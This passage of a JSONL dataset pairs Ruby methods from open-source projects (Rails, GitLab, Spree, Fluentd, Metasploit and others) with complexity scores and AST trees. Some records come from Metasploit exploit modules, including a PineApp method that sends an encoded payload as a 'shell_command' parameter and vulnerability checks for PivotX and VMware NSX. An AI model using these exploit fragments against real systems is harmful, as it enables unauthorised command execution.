to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dacl\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logroup\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interactive\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"1a46b958-dcd2-4b25-8c0a-07d86a079004"}
{"repo_name":"spree","file_path":"./repos/spree/emails/lib/generators/spree/emails/install/templates/mailers/previews/order_preview.rb","start_line":2,"raw_source":"def confirm_email\n    Spree::OrderMailer.confirm_email(Spree::Order.complete.first)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OrderMailer\"]},\"confirm_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Order\"]},\"complete\"]},\"first\"]}]}]}","id":"590cc73c-45a1-4c59-81b6-ff4f5f07988d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/helm/client.rb","start_line":100,"raw_source":"def repository_cache\n          @repository_cache ||= ENV[REPOSITORY_CACHE_VARIABLE_NAME] || \"\"\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository_cache\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"REPOSITORY_CACHE_VARIABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"a588e7df-1fa1-4af5-b345-248f0d96ca19"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/loader.rb","start_line":63,"raw_source":"def eval_include(path, parent)\n          if path.relative?\n            pattern = parent.join(path)\n          else\n            pattern = path\n          end\n          result = []\n          Dir.glob(pattern).sort.each do |path|\n            result.concat(load(Pathname.new(path)))\n          end\n          result\n        rescue SystemCallError => e\n          parse_error = ConfigParseError.new(\"include error #{path} - #{e}\")\n          parse_error.set_backtrace(e.backtrace)\n          raise parse_error\n        end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"eval_include\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"relative?\"]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parse_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigParseError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"include error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_error\"]},\"set_backtrace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"parse_error\"]}]}]}]},null]}]}","id":"2653be7a-a097-4352-a47b-0438b5cc26fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/users_mapper.rb","start_line":59,"raw_source":"def generate_cache_key(pattern)\n      pattern % {\n        bulk_import: @context.bulk_import.id,\n        entity: @context.entity.id\n      }\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk_import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"bulk_import\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"entity\"]},\"id\"]}]}]}]}]}","id":"6919602c-d49f-482f-aa44-0d95a19a64ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240716104939_remove_fk_to_ci_pipelines_ci_sources_pipelines_on_source_pipeline_id.rb","start_line":13,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(\n        SOURCE_TABLE_NAME,\n        TARGET_TABLE_NAME,\n        name: FK_NAME,\n        reverse_lock_order: true\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"0c42345e-6d76-413a-bf96-08f334e4c205"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/reauthorizable.rb","start_line":93,"raw_source":"def reauthorization_required_key\n    format(::Redis::Alfred::REAUTHORIZATION_REQUIRED, obj_type: self.class.table_name.singularize, obj_id: id)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reauthorization_required_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"REAUTHORIZATION_REQUIRED\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"table_name\"]},\"singularize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"97bf40c0-a3b0-4455-9170-f2d0f76f5bce"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/select_test.rb","start_line":16,"raw_source":"def test_select_with_non_field_values\n      expected = %r/\\ASELECT 1, foo\\(\\), #{Regexp.escape(quote_table_name(\"bar\"))} FROM/\n      assert_match expected, Post.select(\"1\", \"foo()\", :bar).to_sql\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_non_field_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\ASELECT 1, foo\\\\(\\\\), \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]},{\"type\":\"str\",\"children\":[\" FROM\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"foo()\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]},\"to_sql\"]}]}]}]}","id":"06df5e62-7214-4188-8b16-76a2300c4427"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/smocker.rb","start_line":53,"raw_source":"def initialize\n          @image = 'thiht/smocker:0.18.5'\n          @name = \"smocker-service-#{SecureRandom.hex(6)}\"\n\n          super()\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@image\",{\"type\":\"str\",\"children\":[\"thiht/smocker:0.18.5\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"smocker-service-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[6]}]}]}]}]},{\"type\":\"super\",\"children\":[]}]}]}","id":"87d77001-824e-44d3-8e0b-3a0b5890022e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":610,"raw_source":"def content_generator\n    @content_generator ||= MiqWidget::ContentGenerator.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"content_generator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@content_generator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWidget\"]},\"ContentGenerator\"]},\"new\"]}]}]}","id":"3e2a6da8-57ad-460b-9773-5a6117673a40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":2557,"raw_source":"def cmd_unsetg_tabs(str, words)\n    tab_complete_datastore_names(framework.datastore, str, words)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_unsetg_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"send\",\"children\":[null,\"tab_complete_datastore_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"words\"]}]}]}","id":"0a2bc96f-c9c8-46b4-9c73-6e098b7d66e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb","start_line":84,"raw_source":"def check_nsx_v_mgr\n    return send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'login.jsp')\n    })\n  rescue StandardError => e\n    elog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\n    fail_with(Failure::Unknown, \"Communication error occurred: #{e.message}\")\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_nsx_v_mgr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login.jsp\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Communication error occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Communication error occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]}","id":"10464bef-a1ba-446b-ac4f-055e57f42237"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql/field_inspection.rb","start_line":9,"raw_source":"def nested_fields?\n      !scalar? && !enum?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_fields?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scalar?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum?\"]},\"!\"]}]}]}","id":"65af375d-b6ea-456f-8e3c-be3cc41ae5fe"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/base.rb","start_line":204,"raw_source":"def with_empty_template_cache # :nodoc:\n        subclass = Class.new(self) {\n          # We can't implement these as self.class because subclasses will\n          # share the same template cache as superclasses, so \"changed?\" won't work\n          # correctly.\n          define_method(:compiled_method_container)           { subclass }\n          define_singleton_method(:compiled_method_container) { subclass }\n\n          def inspect\n            \"#<ActionView::Base:#{'%#016x' % (object_id << 1)}>\"\n          end\n        }\n      end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_empty_template_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"subclass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"compiled_method_container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"subclass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"compiled_method_container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"subclass\"]}]},{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<ActionView::Base:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%#016x\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_id\"]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}]}]}","id":"103d252a-f1d9-4c1c-b7ba-251c30affba9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb","start_line":87,"raw_source":"def exploit\n    print_status(\"#{rhost}:#{rport} - Executing payload...\")\n    send_request_cgi({\n      'uri' => my_uri,\n      'vars_get' => {\n        'sync_now' => '1', # must be 1 in order to trigger the vulnerability\n        'shell_command' => payload.encoded\n      }\n    })\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Executing payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"my_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sync_now\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shell_command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}]}]}]}]}","id":"fc88c197-c32d-4528-aa9d-0cbad086b6db"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/unit/lib/hooks/app/helpers_spec.rb","start_line":26,"raw_source":"def error!(message, code)\n        raise StandardError, \"#{code}: #{message.to_json}\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]}]}]}]}","id":"211fc403-cd12-449b-aba3-37276d8813ee"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods.rb","start_line":143,"raw_source":"def undefine_attribute_methods # :nodoc:\n        GeneratedAttributeMethods::LOCK.synchronize do\n          super if @attribute_methods_generated\n          @attribute_methods_generated = false\n          @alias_attributes_mass_generated = false\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"undefine_attribute_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedAttributeMethods\"]},\"LOCK\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attribute_methods_generated\"]},{\"type\":\"zsuper\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@attribute_methods_generated\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@alias_attributes_mass_generated\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"24ad4dd7-6931-418a-8a27-a21d6f562d8c"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/context.rb","start_line":230,"raw_source":"def with_disabled_tags(tag_names)\n      tag_names.each do |name|\n        @disabled_tags[name] = @disabled_tags.fetch(name, 0) + 1\n      end\n      yield\n    ensure\n      tag_names.each do |name|\n        @disabled_tags[name] -= 1\n      end\n    end","complexity_score":9.73,"ast_json":"{\"type\":\"def\",\"children\":[\"with_disabled_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_names\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disabled_tags\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disabled_tags\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"int\",\"children\":[0]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disabled_tags\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"1cd55893-27f8-4ea3-af72-beb8cddaff2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pivotx_index_php_overwrite.rb","start_line":56,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')\n    })\n\n    return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200\n\n    return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')\n\n    html_body = res.get_html_document\n\n    return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\\d.\\d\\d?.\\d\\d?-[a-z0-9]+)/ }\n\n    version = Rex::Version.new(Regexp.last_match(1))\n\n    return Msf::Exploit::CheckCode::Appears(\"Detected PivotX #{version}\") if version <= Rex::Version.new('3.0.0-rc3')\n\n    return Msf::Exploit::CheckCode::Safe(\"PivotX #{version} is not vulnerable\")\n  end","complexity_score":32.35,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"pivotx\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unexpected response\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"PivotX Powered\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target is not PivotX\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_body\"]},\"search\",{\"type\":\"str\",\"children\":[\"em\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PivotX - (\\\\d.\\\\d\\\\d?.\\\\d\\\\d?-[a-z0-9]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Could not find version element\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.0.0-rc3\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected PivotX \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PivotX \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not 